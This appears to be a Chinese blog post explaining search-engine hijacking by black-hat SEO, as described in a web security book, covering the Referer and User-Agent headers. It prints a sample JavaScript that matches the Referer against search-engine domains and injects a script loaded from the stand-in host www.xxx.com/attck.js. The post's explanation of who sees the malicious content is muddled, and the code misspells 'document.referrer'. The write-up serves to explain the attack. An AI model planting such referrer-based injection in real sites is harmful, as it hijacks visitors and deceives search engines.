問題起源
????????這是在《Web安全深度剖析》的第二章“深入HTTP請求流程”的2.3章節“黑帽SEO之搜索引擎劫持”提到的內容,但是書中描述并不詳細,沒有講如何攻擊達到域名劫持的效果。
????????書中對SEO搜索引擎劫持的現象描述如下:直接輸入網站的域名可以進入網站,但是通過在百度或者谷歌等搜索引擎通過關鍵字看到自己的網站后,點擊鏈接會跳轉到其他網站,黑帽SEO利用HTTP協議中Referer和瀏覽器客戶端User-agent字段來欺騙搜索引擎,這到底是如何做到的呢?
原始劫持步驟描述
????????書中提到當用戶通過百度或者谷歌搜索引擎打開網站時,一般會引出源頁面(Referer消息頭),利用這點就可以用任何Web語言進行針對搜索引擎的流量劫持,步驟如下:
????????1.首先建立劫持搜索引擎庫,比如以Baidu、Google等域名為關鍵字
????????2.獲取HTTP Referer首部信息。
????????3.遍歷搜索引擎庫,并與referer的內容相比較,如果兩者相同或者存在搜索引擎關鍵字,那么頁面將會發生跳轉,也就是域名劫持。
????????對于書中這部分講解,我認為講解的很模糊,怎么比較Referer字段相同或者存在關鍵字就發生域名劫持,還有就是與UserAgent字段也沒有關系啊,只在后面提了一句Useragent主要用于劫持搜索引擎的蜘蛛。整體來說書中P25頁的內容比較抽象,看過只覺得云里霧里,沒有邏輯性。
SEO域名劫持原理分析
HTTP協議
????????這里我先介紹下HTTP協議中這兩個字段的含義,對比如下表所示
字段 | Referer | User-Agent |
---|---|---|
作用 | 表示當前請求是從哪個頁面鏈接或跳轉過來的 | 標識請求的客戶端(瀏覽器、爬蟲、應用程序等)的軟硬件信息 |
示例值 | Referer: https://example.com/page1 | User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36 |
示例含義 | 從 https://example.com/page1 點擊鏈接跳轉到 https://example.com/page2,則訪問 page2 的請求中會包含: Referer: https://example.com/page1 | 代表發起請求的客戶端的軟硬件信息為 Windows NT 10.0:操作系統為 Windows 10。 Chrome/120.0.0.0:瀏覽器為 Chrome 120 版本。 Safari/537.36:兼容 Safari 內核。 |
隱私問題 | 可能泄露用戶瀏覽歷史 | 可能泄露設備信息 |
是否可空 | 直接輸入地址訪問時為空 | 必須存在(但可偽造) |
????????基于此可知,如果我們在百度搜索"csdn",引擎搜索關鍵字看到的網站,打開csdn的網頁鏈接,如下所示
? ? ? ? Referer一般應該為搜索關鍵字的頁面(也就是對應的搜索引擎頁面),內容大概如下所示
https://www.baidu.com/s?ie=utf-8&f=8&rsv_bp=1&rsv_idx=1&tn=baidu&wd=csdn&fenlei=256&oq=csdn
分析攻擊原理
????????在原始劫持步驟的第三步中提到,當Referer的內容與搜索引擎庫匹配時發生跳轉,這是什么原理呢?由于Referer內容為搜索引擎的相關信息,為何匹配上就攻擊成功呢,這是因為書中在講解這個步驟時沒有描述攻擊腳本信息,假設有如下攻擊腳本:
// 定義一個正則表達式,用于匹配常見的搜索引擎域名
// 匹配格式:.引擎名.后綴(如 .baidu.com、.google.com.hk)
// 修飾符:i(忽略大小寫)、g(全局匹配)
var regexp = /\.(sogou|so|haosou|baidu|google|youdao|yahoo|bing|gougou|118114|360|sm|sp)(\.[a-z0-9\-]+){1,2}\//ig;// 獲取當前頁面的來源頁地址(即HTTP請求頭中的Referer字段)
var where = document.referer;// 檢查來源頁地址是否匹配正則表達式(即是否來自搜索引擎)
if (regexp.test(where)) {// 如果來自搜索引擎,動態插入一個惡意腳本// 該腳本可能用于SEO作弊、流量劫持或攻擊行為document.write('<script language="javascript" type="text/javascript" src="http://www.xxx.com/attck.js"></script>');
} else {// 如果不是來自搜索引擎,跳轉到404頁面(可能用于隱藏真實內容)window.location.href = "../../404.htm";
}
? ? ? ? 該腳本通過檢測HTTP請求的Referer
字段,判斷用戶訪問的網址來源是否來自搜索引擎(如百度、Google等)。如果匹配成功(即流量來自搜索引擎爬蟲或搜索結果頁跳轉,代碼來看就是egexp正則表達式中的關鍵字),則動態插入惡意JavaScript腳本(腳本中的掛馬腳本src=”http://www.xxx.com/attck.js”),可能用于SEO作弊(如偽造內容、刷排名)、流量劫持(跳轉至惡意網站)或注入攻擊代碼(如XSS、挖礦腳本)。而普通用戶直接訪問時,則會被重定向至404頁面,使惡意內容僅對搜索引擎可見,從而實現Cloaking(偽裝攻擊),欺騙搜索引擎收錄虛假內容,劫持搜索流量。這種手法屬于黑帽SEO,嚴重違反搜索引擎規則,可能導致網站被降權或封禁。
總結
? ? ? ? 綜上所述,原始的步驟就可以解釋通了,我們再來回顧下這個步驟,攻擊過程可以拆解為 “檢測來源 → 匹配搜索引擎 → 執行劫持”*三個階段,具體如下:
1. 建立搜索引擎劫持庫
- 通過腳本中的如下正則表達式來實現關鍵字的搜索引擎庫
var regexp = /\.(sogou|so|haosou|baidu|google|youdao|yahoo|bing|gougou|118114|360|sm|sp)(\.[a-z0-9\-]+){1,2}\//ig;
? - 匹配的域名包括:`.baidu.com`、`.google.com.hk`、`.bing.com` 等。 ?
? - 匹配規則: ?
? ? - `\.(引擎名)`:匹配域名中的搜索引擎關鍵字(如 `.baidu`)。 ?
? ? - `(\.[a-z0-9\-]+){1,2}`:匹配頂級域名(如 `.com`、`.com.hk`)。 ?
2. 獲取并檢測HTTP Referer字段
? 瀏覽器在請求網頁時會自動攜帶 `Referer` 字段,標明當前請求的來源頁面。 ?
? - 例如:用戶通過百度搜索結果頁訪問時,`Referer` 值為: ?
Referer: https://www.baidu.com/link?url=xxx
這時使用腳本來匹配refer中字段是否包含搜索引擎相關的關鍵字,即可判斷流量是否為搜索引擎流量。
3. 執行劫持:差異化響應攻擊
? 當流量被識別為來自搜索引擎時,腳本動態插入惡意代碼可能導致SEO域名劫持等問題: ?
document.write('<script src="http://www.xxx.com/attck.js"></script>');
????????然而當不匹配搜索引擎時,比如只是普通用戶則不發起攻擊,這里腳本選擇跳轉到404頁面, 目的應該是避免普通用戶發現異常,僅對搜索引擎暴露惡意內容: ?
? window.location.href = "../../404.htm";
綜上所示,攻擊流程如下所示:?